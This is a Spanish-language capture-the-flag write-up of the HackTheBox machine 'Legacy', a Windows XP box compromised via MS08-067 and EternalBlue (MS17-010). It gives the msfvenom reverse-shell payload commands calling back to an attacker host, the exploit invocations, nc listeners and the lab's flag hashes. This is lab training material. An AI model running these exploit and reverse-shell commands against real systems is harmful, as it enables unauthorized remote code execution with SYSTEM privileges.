the_open_door
café
ESEN

Legacy

HackTheBoxFácilWindows10.10.10.4

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#windows#windows-xp#smb#ms08-067#ms17-010#eternalblue#msfvenom#oscp
TL;DR. Un Windows XP con solo 135/139/445 abiertos y sin parches. nmap --script smb-vuln-* confirma que es vulnerable a MS08-067 (NetAPI) y MS17-010 (EternalBlue). Cualquiera de las dos da shell directa como NT AUTHORITY\SYSTEM sin necesidad de escalar privilegios. Se documentan ambos exploits: MS08-067 con el repo andyacer/ms08_067 + shellcode de msfvenom, y MS17-010 con h3x0v3rl0rd/MS17-010_CVE-2017-0143 (en Docker Python 2.7 por compatibilidad) + .exe generado con msfvenom.

Reconocimiento

Ping

Antes del nmap completo, un ping rápido orienta sobre el sistema operativo por el TTL.

ping -c 1 10.10.10.4

ping a 10.10.10.4: ttl=127 apunta a Windows

64 bytes from 10.10.10.4: icmp_seq=1 ttl=127 time=114 ms

TTL 127 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 127 = 128−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

Escaneo de puertos

Barremos los 65535 puertos TCP con -p- (-n -Pn para saltar DNS y ping) y descubrir todo lo abierto; sobre esos puertos, un -sCV dirigido detallará servicio y versión:

sudo nmap -p- --open --reason -n -Pn 10.10.10.4

nmap -p- en Legacy: 135, 139, 445

PORT    STATE SERVICE      REASON
135/tcp open  msrpc        syn-ack ttl 127
139/tcp open  netbios-ssn  syn-ack ttl 127
445/tcp open  microsoft-ds syn-ack ttl 127

extractPorts, una función del .zshrc, resume el fichero -oG y deja los tres puertos en el portapapeles:

extractPorts scan

extractPorts resume el escaneo de Legacy: IP 10.10.10.4 y puertos abiertos 135,139,445, copiados al portapapeles

Extracting information ...
IP Address: 10.10.10.4
Open ports: 135,139,445

Ports copied to clipboard

Solo los tres puertos clásicos de un Windows antiguo: RPC y SMB. Ni web, ni SSH, ni WinRM. El -sCV detallado confirma un sistema muy antiguo:

nmap -sCV: Windows XP (Windows 2000 LAN Manager), Computer: Legacy

Service Info: OS: Windows, Windows XP
OS CPE: cpe:/o:microsoft:windows_xp::
Computer name: Legacy
NetBIOS computer name: LEGACY\x00

Windows XP sin actualizaciones. Los dos exploits más relevantes de la historia de SMB apuntan directamente a ese sistema: MS08-067 (NetAPI, 2008) y MS17-010 (EternalBlue, 2017). Un script de nmap confirma ambos:

nmap -p445 --script smb-vuln-ms08-067,smb-vuln-ms17-010 10.10.10.4

nmap confirma VULNERABLE a MS08-067 y MS17-010

| smb-vuln-ms08-067:
|   VULNERABLE: Microsoft Windows system vulnerable to remote code execution (MS08-067)
| smb-vuln-ms17-010:
|   VULNERABLE: Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)

Ambas son RCE directo contra el servicio SMB: no hace falta credenciales, no hay autenticación. El atacante envía un paquete malformado y ejecuta código como SYSTEM.

Shell como NT AUTHORITY\SYSTEM

Exploit 1: MS08-067 (NetAPI)

MS08-067 explota un buffer overflow en el servicio NetAPI32 a través de SMB. El exploit público de andyacer/ms08_067 requiere un shellcode generado con msfvenom para la plataforma y arquitectura correctas:

git clone https://github.com/andyacer/ms08_067
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.6 LPORT=443 EXITFUNC=thread \
  -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows

msfvenom genera el shellcode; se reemplaza en el exploit

Found 11 compatible encoders
x86/call4_dword_xor chosen with final size 348
Payload size: 348 bytes
Final size of c file: 1491 bytes
unsigned char buf[] =
"\x29\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76"
...

El shellcode generado se pega en ms08_067_2018.py (reemplazando el placeholder):

nano ms08_067_2018.py con el shellcode de msfvenom reemplazado en el exploit

Luego se ejecuta contra la IP con la opción que corresponde a Windows XP SP3 (opción 6):

sudo rlwrap nc -nlvp 443
python2 ms08_067_2018.py 10.10.10.4 6 445

reverse shell recibida tras MS08-067

listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.4] 1039
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

La shell llega directamente como NT AUTHORITY\SYSTEM: el servicio SMB corre con máximos privilegios en XP.

Exploit 2: MS17-010 (EternalBlue)

EternalBlue es posterior (2017, filtrado de la NSA) pero más conocido. El exploit del repo h3x0v3rl0rd/MS17-010_CVE-2017-0143 necesita Python 2.7 + impacket 0.9.23, así que lo más limpio es construir un contenedor Docker para evitar conflictos de dependencias:

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.6 LPORT=443 -f exe -o ms17-010.exe

msfvenom genera ms17-010.exe y se prepara el Dockerfile para Python 2.7

FROM python:2.7-alpine
RUN apk add git gcc musl-dev libffi-dev openssl-dev zlib-dev libc-dev
COPY requirements.txt ms17-010.exe /opt/exploit/
WORKDIR /opt/exploit
RUN pip install -r requirements.txt

En la máquina atacante, nc vuelve a escuchar en el 443 para esta segunda vía:

sudo rlwrap nc -nlvp 443
docker build -t exploit .
docker run -it exploit /bin/sh
git clone https://github.com/h3x0v3rl0rd/MS17-010_CVE-2017-0143.git
cd MS17-010_CVE-2017-0143
python send_and_execute.py 10.10.10.4 ../ms17-010.exe

docker build y docker run: contenedor listo con el exploit MS17-010 clonado

[+] Building 100.8s (12/12) FINISHED
 => => naming to docker.io/library/exploit
/opt/exploit # git clone https://github.com/h3x0v3rl0rd/MS17-010_CVE-2017-0143.git
Cloning into 'MS17-010_CVE-2017-0143' ...
/opt/exploit # cd MS17-010_CVE-2017-0143
/opt/exploit/MS17-010_CVE-2017-0143 #

Docker con el exploit de EternalBlue, reverse shell como SYSTEM

Mismo resultado: shell como SYSTEM. En este caso el exploit inyecta un .exe directamente en memoria a través de la vulnerabilidad SMBv1.

Flags

Sin necesidad de escalar (ya somos SYSTEM):

type Administrator\Desktop\root.txt y john\Desktop\user.txt

993442d258b0e0ec917cae9e695d5713   # Administrator\Desktop\root.txt
e69af0e4f443de7e36876fda4ec7644f   # john\Desktop\user.txt
C:\DOCUME~1> type Administrator\Desktop\root.txt
C:\DOCUME~1> type john\Desktop\user.txt

Cadena de ataque

nmap (135, 139, 445)
  └─> Windows XP (2000 LAN Manager) → sin parches
        └─> nmap --script smb-vuln-* → MS08-067 ✓ y MS17-010 ✓
              ├─> MS08-067: andyacer/ms08_067 + msfvenom shellcode (python2)
              │     └─> reverse shell como NT AUTHORITY\SYSTEM
              └─> MS17-010: send_and_execute.py + msfvenom .exe (Docker python2.7)
                    └─> reverse shell como NT AUTHORITY\SYSTEM
                          └─> root.txt + user.txt (sin escalada)

Lecciones aprendidas

  • Windows XP sin parches es un blanco tan fácil que no necesita ni autenticación ni escalada: MS08-067 y MS17-010 dan SYSTEM directo. La máquina sirve como laboratorio para entender las bases del exploit SMB.
  • nmap --script smb-vuln-* es la forma más rápida de confirmar vulnerabilidades SMB sin lanzar el exploit; siempre vale la pena correrlo antes de montar toda la infraestructura de ataque.
  • Muchos exploits Legacy (Python 2.7, dependencias viejas de impacket) no funcionan en un Kali moderno. Un contenedor Docker con la versión exacta de Python e impacket es la forma más fiable de ejecutarlos sin romper el entorno.
  • msfvenom genera shellcode (-f c) para inyectar en exploits de código (MS08-067) y ejecutables (-f exe) para inyectar en exploits de envío+ejecución (MS17-010). Saber cuál pide cada exploit ahorra tiempo.
  • Las bad-chars (\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40) son específicas del exploit y del servicio objetivo. Especificarlas mal produce un shellcode que corrompe la pila y el exploit falla sin dar error claro.
Cheatsheet de comandos 9 comandos

Repaso rápido